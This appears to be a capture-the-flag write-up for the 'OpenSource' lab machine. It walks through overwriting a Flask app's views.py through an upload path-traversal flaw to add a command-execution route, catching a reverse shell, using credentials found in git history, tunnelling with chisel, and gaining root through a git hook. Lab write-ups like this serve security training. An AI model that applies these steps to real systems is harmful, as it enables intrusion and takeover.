Summary
Foothold
We start out by doing an nmap port scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Nmap 7.92 scan initiated Wed Jun  8 16:04:07 2022 as: nmap -sC -sV -o nmap/ini.txt opensource.htb
Nmap scan report for opensource.htb (10.129.160.73)
Host is up (0.067s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
|   256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
|_  256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
80/tcp   open     http    Werkzeug/2.1.2 Python/3.10.3
|_http-title: upcloud - Upload files for Free!
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
...
3000/tcp filtered ppp
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun  8 16:05:42 2022 -- 1 IP address (1 host up) scanned in 94.69 seconds
The system has 3 ports open, 22 80 and 3000. Port 80 is hosting a flask-based web application based on the http-server-header and port 3000 is hosting an unknown, filtered service. We start out by visitng the web application hosted on port 80:
 Landing page for opensource
The website allows us to download a zip archive containing the source code for the web application.
The source code contains the following code:
1
2
3
4
5
6
7
8
9
@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        f.save(file_path)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')
If we take a look at the documentation for the os.path.join() method, we gather that “If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.” This means that if we give the application a file named like so /app/app/views.py, it will overwrite the views.py of the app, which in this case is the file that handles the routes of the application. This means if we add a function like
1
2
3
@app.route('/exec')
def cmd():
    return os.system(request.args.get('cmd'))
We can then run commands on the system hosting the application.
We can use burpsuite to intercept the upload request, and then rename the file.

We then get redirected to the upload page telling us we have successfully uploaded the file:

If we attempt to access the exec endpoint with the argument “?cmd=ls” we get the following page:

This indicate that we successfully overwrote the views.py file, since the application seems to attempt to carry out the command. If we then use a URL encoded python reverse shell we get access to the container hosting the application
1
2
3
4
5
┌──(bitis㉿workstation)-[~/htb/Machines/opensource]
└─$ nc -lvnp 4444              
listening on [any] 4444 ...
connect to [10.10.17.182] from (UNKNOWN) [10.129.82.65] 53948
/app #         
To gain a foothold on the actual system hosting the container, we need to do some more enumeration of the git repo we downloaded earlier. If we run git branch on it we see that a dev branch exists. We can then switch branches, check the logs and then differences between the different commits:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(bitis㉿workstation)-[~/htb/Machines/opensource/source]
└─$ git branch
* dev
  public
                                                                                                                                                                                                                                            
┌──(bitis㉿workstation)-[~/htb/Machines/opensource/source]
└─$ git log                                                                                                                                                                                                                             1 ⨯
commit c41fedef2ec6df98735c11b2faf1e79ef492a0f3 (HEAD -> dev)
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:47:24 2022 +0200
    ease testing
commit be4da71987bbbc8fae7c961fb2de01ebd0be1997
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:46:54 2022 +0200
    added gitignore
commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:46:16 2022 +0200
    updated
commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:45:17 2022 +0200
    initial
┌──(bitis㉿workstation)-[~/htb/Machines/opensource/source]
└─$ git diff ee9d9f1 a76f8f7 
diff --git a/app/.vscode/settings.json b/app/.vscode/settings.json
new file mode 100644
index 0000000..5975e3f
--- /dev/null
+++ b/app/.vscode/settings.json
@@ -0,0 +1,5 @@
+{
+  "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
+  "http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
+  "http.proxyStrictSSL": false
+}
...
The commit added the credentials dev01:Soulless_Developer#2022.
Remembering that we found port 3000 in our portscan, but that it was filtered on our machine, we use chisel to port forward port 3000 to our machine. On the victim machine we do the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(bitis㉿workstation)-[~/htb/Machines/opensource]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.17.182] from (UNKNOWN) [10.129.82.65] 54294
/app # cd /tmp 
cd /tmp
/tmp # ./chisel client -v 10.10.17.182:8000 R:3000:172.17.0.1:3000
./chisel client -v 10.10.17.182:8000 R:3000:172.17.0.1:3000
2022/06/25 19:19:27 client: Connecting to ws://10.10.17.182:8000
2022/06/25 19:19:27 client: Handshaking...
2022/06/25 19:19:28 client: Sending config
2022/06/25 19:19:28 client: Connection error: server: Server cannot listen on R:3000=>172.17.0.1:3000
2022/06/25 19:19:28 client: Give up
/tmp # ./chisel client -v 10.10.17.182:8001 R:3000:172.17.0.1:3000
./chisel client -v 10.10.17.182:8001 R:3000:172.17.0.1:3000
2022/06/25 19:20:32 client: Connecting to ws://10.10.17.182:8001
2022/06/25 19:20:32 client: Handshaking...
2022/06/25 19:20:33 client: Sending config
2022/06/25 19:20:33 client: Connected (Latency 46.611837ms)
2022/06/25 19:20:33 client: tun: SSH connected
On the attacker machine
1
2
3
4
5
6
┌──(bitis㉿workstation)-[~/tools]
└─$ ./chisel server --reverse -p 8001
2022/06/25 21:19:51 server: Reverse tunnelling enabled
2022/06/25 21:19:51 server: Fingerprint 0SM8R8ZA9ESFE6zEmRmfs2LEpK+bGOB/CVvKKez7GZc=
2022/06/25 21:19:51 server: Listening on http://0.0.0.0:8001
2022/06/25 21:20:31 server: session#1: tun: proxy#R:3000=>172.17.0.1:3000: Listening
Now anything we send to port 3000 on our machine will be send to port 3000 on the target host.
When we visit localhost:3000 we get greeted with the following:

We can then use the credentials found previously to login as dev01

When looking at the commits of dev01, we find an ssh key:

We can then save this ssh key and log in as dev01 on the target machine via ssh.
Privilege escalation
Once logged in as dev01, we get and run pspy to snoop on any commands being run.
1
2
3
4
2022/06/25 19:32:01 CMD: UID=0    PID=22743  | /bin/bash /usr/local/bin/git-sync 
2022/06/25 19:32:01 CMD: UID=0    PID=22744  | git commit -m Backup for 2022-06-25 
2022/06/25 19:32:01 CMD: UID=0    PID=22745  | /bin/bash /usr/local/bin/git-sync 
2022/06/25 19:32:01 CMD: UID=0    PID=22748  | git push origin main 
Based on the output we can tell that the root user is running git commands such as commit and push. If we consult GTFObins, we can tell that this is exploitable by adding a command we wish to run as root to a file named .git/hooks/pre-commit.sample, renaming it and then waiting for root to commit something.

Once this is done we have root access. Rooted!
 